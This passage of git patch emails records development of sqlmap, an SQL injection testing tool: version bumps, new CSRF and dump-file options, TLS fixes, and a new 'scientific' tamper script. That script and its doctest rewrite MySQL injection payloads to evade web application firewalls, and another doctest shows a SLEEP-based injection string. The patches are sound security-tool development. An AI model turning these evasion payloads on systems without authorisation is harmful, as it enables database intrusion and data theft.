re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: diff --git a/lib/core/settings.py b/lib/core/settings.py index 11ea6e898f1..fc9273427ea 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.2" +VERSION = "1.6.10.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1092dfb87799ceb83816d8be5589ba49fe7d99ed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Oct 2022 11:27:11 +0200 Subject: [PATCH 068/599] Patch related to the #5192 --- lib/core/common.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 8db52016222..dac525d76e2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4269,7 +4269,8 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): - retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) + if conf.db.lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 + retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index fc9273427ea..80cf1e68681 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.3" +VERSION = "1.6.10.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d7ee423fc5274c18ff6fcb4348ec960bb3b8bf6c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Oct 2022 11:35:58 +0200 Subject: [PATCH 069/599] Fixes #5202 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index dac525d76e2..8f29e086a0e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4269,7 +4269,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): - if conf.db.lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 + if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 80cf1e68681..f53bafe24f0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.4" +VERSION = "1.6.10.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From aa9cc3987ed28c2fba24d92eeef71a8cd3e3b510 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Oct 2022 11:52:22 +0200 Subject: [PATCH 070/599] Implements option --csrf-data (#5199) --- lib/core/option.py | 4 ++++ lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/request/connect.py | 2 +- sqlmap.conf | 3 +++ 6 files changed, 13 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index bad824008e3..78b2f62b2f5 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2733,6 +2733,10 @@ def _basicOptionValidation(): errMsg = "option '--csrf-method' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) + if conf.csrfData and not conf.csrfToken: + errMsg = "option '--csrf-data' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ef5d413f695..8dc37e262fa 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -64,6 +64,7 @@ "csrfToken": "string", "csrfUrl": "string", "csrfMethod": "string", + "csrfData": "string", "csrfRetries": "integer", "forceSSL": "boolean", "chunked": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index f53bafe24f0..d0221891f23 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.5" +VERSION = "1.6.10.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 9bda7b8d55a..11e4cff9423 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -276,6 +276,9 @@ def cmdLineParser(argv=None): request.add_argument("--csrf-method", dest="csrfMethod", help="HTTP method to use during anti-CSRF token page visit") + request.add_argument("--csrf-data", dest="csrfData", + help="POST data to send during anti-CSRF token page visit") + request.add_argument("--csrf-retries", dest="csrfRetries", type=int, help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) diff --git a/lib/request/connect.py b/lib/request/connect.py index 0b5206b63d8..8508dee51ff 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1186,7 +1186,7 @@ def _adjustParameter(paramString, parameter, newValue): warnMsg += ". sqlmap is going to retry the request" logger.warning(warnMsg) - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.csrfData or (conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) diff --git a/sqlmap.conf b/sqlmap.conf index 9504b7b4632..8af1dd903a7 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -195,6 +195,9 @@ csrfUrl = # HTTP method to use during anti-CSRF token page visit. csrfMethod = +# POST data to send during anti-CSRF token page visit. +csrfData = + # Retries for anti-CSRF token retrieval. csrfRetries = From 5c556022961d5b61fb3fe1cd4f873c4748e1a53d Mon Sep 17 00:00:00 2001 From: CrazyKidJack <43480837+CrazyKidJack@users.noreply.github.com> Date: Mon, 17 Oct 2022 04:59:17 -0500 Subject: [PATCH 071/599] Fix --cookie-del (cookieDel) error checking (#5198) error checking was checking if len(conf.cookieDel) which always returns true when option is used. Now it checks if len(conf.cookieDel) != 1 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 78b2f62b2f5..306af7422fe 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2675,7 +2675,7 @@ def _basicOptionValidation(): logger.warning(warnMsg) - if conf.cookieDel and len(conf.cookieDel): + if conf.cookieDel and len(conf.cookieDel) != 1: errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" raise SqlmapSyntaxException(errMsg) From 02dcf2a9264a4858b3eda41ff9cf65b44014e469 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Oct 2022 12:21:47 +0200 Subject: [PATCH 072/599] Fixes #5203 --- lib/core/settings.py | 2 +- tamper/htmlencode.py | 8 +++++++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d0221891f23..cda64003777 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.6" +VERSION = "1.6.10.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index ef66b24bbf2..b9a7725115f 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -20,6 +20,12 @@ def tamper(payload, **kwargs): >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' """ - return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload + if payload: + payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203 + payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) + + return payload From 2ace4ef471c73da1cf1a8ff97ee4f13652677b3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 21 Oct 2022 19:07:20 +0200 Subject: [PATCH 073/599] Implements tamper script 'scientific' (#5205) --- lib/core/settings.py | 2 +- tamper/scientific.py | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 1 deletion(-) create mode 100644 tamper/scientific.py diff --git a/lib/core/settings.py b/lib/core/settings.py index cda64003777..3d12140512a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.7" +VERSION = "1.6.10.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/scientific.py b/tamper/scientific.py new file mode 100644 index 00000000000..28f94a825e8 --- /dev/null +++ b/tamper/scientific.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Abuses MySQL scientific notation + + Requirement: + * MySQL + + Notes: + * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/ + + >>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1') + '1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1' + """ + + if payload: + payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload) + payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure + + return payload From c38232113459710d1aca0366b28b58f0ace82454 Mon Sep 17 00:00:00 2001 From: Fabian Ising Date: Fri, 21 Oct 2022 19:10:43 +0200 Subject: [PATCH 074/599] Better handling of CookieJar Runtime Exception (#5206) Fixes #5187 --- lib/request/connect.py | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 8508dee51ff..84ec25e4d38 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -587,14 +587,9 @@ class _(dict): if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) - while True: - try: - cookies = conf.cj._cookies_for_request(req) - except RuntimeError: # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5187 - time.sleep(1) - else: - requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) - break + with conf.cj._cookies_lock: + cookies = conf.cj._cookies_for_request(req) + requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: From eda669e10bfeded06e39c0ff8737b183eed37d1b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 1 Nov 2022 23:26:15 +0100 Subject: [PATCH 075/599] Fixes #5216 --- lib/core/compat.py | 3 ++- lib/core/option.py | 1 - lib/core/settings.py | 2 +- lib/request/httpshandler.py | 13 ++++++------- 4 files changed, 9 insertions(+), 10 deletions(-) diff --git a/lib/core/compat.py b/lib/core/compat.py index c1998109f31..7275ea07d46 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -278,6 +278,7 @@ def __hash__(self): buffer = buffer try: - from pkg_resources import parse_version as LooseVersion + from packaging import version + LooseVersion = version.parse except ImportError: from distutils.version import LooseVersion diff --git a/lib/core/option.py b/lib/core/option.py index 306af7422fe..4e0d151046a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2166,7 +2166,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.testType = None kb.threadContinue = True kb.threadException = False - kb.tlsSNI = {} kb.uChar = NULL kb.udfFail = False kb.unionDuplicates = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 3d12140512a..1c72b5db988 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.8" +VERSION = "1.6.11.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 998fbd2c8ed..15bb41ff430 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -63,19 +63,21 @@ def create_sock(): # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni - if re.search(r"\A[\d.]+\Z", self.host or "") is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"): + if hasattr(ssl, "SSLContext"): for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): try: sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) + if self.cert_file and self.key_file: + _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 # https://askubuntu.com/a/1250807 _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") except ssl.SSLError: pass - result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) if result: success = True self.sock = result @@ -88,14 +90,11 @@ def create_sock(): self._tunnel_host = None logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) - if kb.tlsSNI.get(self.host) is None: - kb.tlsSNI[self.host] = success - - if not success: + elif hasattr(ssl, "wrap_socket"): for protocol in _protocols: try: sock = create_sock() - _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) + _ = ssl.wrap_socket(sock, keyfile=self.key_file, certfile=self.cert_file, ssl_version=protocol) if _: success = True self.sock = _ From 62bba470d6c4d141e1222e6255feb6fcd7e1ed0e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Nov 2022 10:49:09 +0100 Subject: [PATCH 076/599] Fixes #5220 --- lib/core/settings.py | 2 +- lib/request/basic.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1c72b5db988..727ecb022b7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.2" +VERSION = "1.6.11.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 7d06009e94b..ae3bc2353cf 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -275,6 +275,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): >>> getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")) 'foo&bar' + >>> getText(decodePage(b" ", None, "text/html; charset=utf-8")) + '\\t' """ if not page or (conf.nullConnection and len(page) < 2): @@ -339,7 +341,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): if not kb.disableHtmlDecoding: # e.g. Ãëàâà if b"&#" in page: - page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page) + page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else b"0%s" % _.group(1)), page) page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) # e.g. %20%28%29 From 7bc0b08fd6c51f0880c3849f98c76954864beba1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Nov 2022 00:03:36 +0100 Subject: [PATCH 077/599] Implementing option '--dump-file' (#5238) --- lib/core/dump.py | 2 +- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ sqlmap.conf | 3 +++ 5 files changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index d155ebae152..30884970456 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -449,7 +449,7 @@ def dbTableValues(self, tableValues): dumpDbPath = tempDir - dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) + dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+b").close() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8dc37e262fa..573361b9207 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -215,6 +215,7 @@ "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", + "dumpFile": "string", "dumpFormat": "string", "encoding": "string", "eta": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 727ecb022b7..ef159b1abc5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.3" +VERSION = "1.6.11.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 11e4cff9423..004e695fa21 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -661,6 +661,9 @@ def cmdLineParser(argv=None): general.add_argument("--charset", dest="charset", help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") + general.add_argument("--dump-file", dest="dumpFile", + help="Store dumped data to a custom file") + general.add_argument("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") diff --git a/sqlmap.conf b/sqlmap.conf index 8af1dd903a7..ecab1a5c5ed 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -738,6 +738,9 @@ crawlExclude = # Default: , csvDel = , +# Store dumped data to a custom file. +dumpFile = + # Format of dumped data # Valid: CSV, HTML or SQLITE dumpFormat = CSV From 55b2b43f0ee02b6eb4e74de297f1f9c829454973 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Nov 2022 00:20:05 +0100 Subject: [PATCH 078/599] Fixes #5233 --- lib/core/option.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 4e0d151046a..d740e572c64 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -416,6 +416,9 @@ def retrieve(): conf.googlePage += 1 def _setStdinPipeTargets(): + if conf.url: + return + if isinstance(conf.stdinPipe, _collections.Iterable): infoMsg = "using 'STDIN' for parsing targets list" logger.info(infoMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index ef159b1abc5..53069c175c8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.4" +VERSION = "1.6.11.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b8fa0edea61cf73eeda6817c1a765afcc7c376c4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Nov 2022 00:37:48 +0100 Subject: [PATCH 079/599] Fixes #5232 --- lib/controller/checks.py | 21 ++------------------- lib/controller/controller.py | 14 ++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 17 insertions(+), 20 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f80cdfd27b1..997abb3dc3e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -10,7 +10,6 @@ import random import re import socket -import subprocess import time from extra.beep.beep import beep @@ -783,22 +782,8 @@ def genCmpPayload(): injection.conf.regexp = conf.regexp injection.conf.optimize = conf.optimize - if not kb.alerted: - if conf.beep: - beep() - - if conf.alert: - infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert - logger.info(infoMsg) - - try: - process = subprocess.Popen(conf.alert, shell=True) - process.wait() - except Exception as ex: - errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) - logger.error(errMsg) - - kb.alerted = True + if conf.beep: + beep() # There is no need to perform this test for other # tags @@ -859,10 +844,8 @@ def genCmpPayload(): if not checkFalsePositives(injection): if conf.hostname in kb.vulnHosts: kb.vulnHosts.remove(conf.hostname) - if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE) - else: injection = None diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 47e7ef865b4..929a7c982bf 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -9,6 +9,7 @@ import os import re +import subprocess import time from lib.controller.action import action @@ -598,6 +599,19 @@ def start(): kb.injections.append(injection) + if not kb.alerted: + if conf.alert: + infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert + logger.info(infoMsg) + try: + process = subprocess.Popen(conf.alert, shell=True) + process.wait() + except Exception as ex: + errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) + logger.error(errMsg) + + kb.alerted = True + # In case when user wants to end detection phase (Ctrl+C) if not proceed: break diff --git a/lib/core/settings.py b/lib/core/settings.py index 53069c175c8..6aaf6d599d5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.5" +VERSION = "1.6.11.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6aaf7d3960142c9ddfe54e2963ed7d9210c499f1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Nov 2022 00:28:20 +0100 Subject: [PATCH 080/599] Fixes #5240 --- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6aaf6d599d5..609b5c18ab7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.6" +VERSION = "1.6.11.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 15bb41ff430..3bac276d5d7 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -69,7 +69,7 @@ def create_sock(): sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) - if self.cert_file and self.key_file: + if getattr(self, "cert_file") and getattr(self, "key_file"): _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 @@ -94,7 +94,7 @@ def create_sock(): for protocol in _protocols: try: sock = create_sock() - _ = ssl.wrap_socket(sock, keyfile=self.key_file, certfile=self.cert_file, ssl_version=protocol) + _ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"), ssl_version=protocol) if _: success = True self.sock = _ From 58f10093a0b6ffdcfb91fe3b29a0192915de1f45 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Nov 2022 14:48:20 +0100 Subject: [PATCH 081/599] Minor update --- lib/core/settings.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 609b5c18ab7..909a7ffbbcd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.7" +VERSION = "1.6.11.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -363,6 +363,7 @@ "getCurrentUser", "getCurrentDb", "getPasswordHashes", + 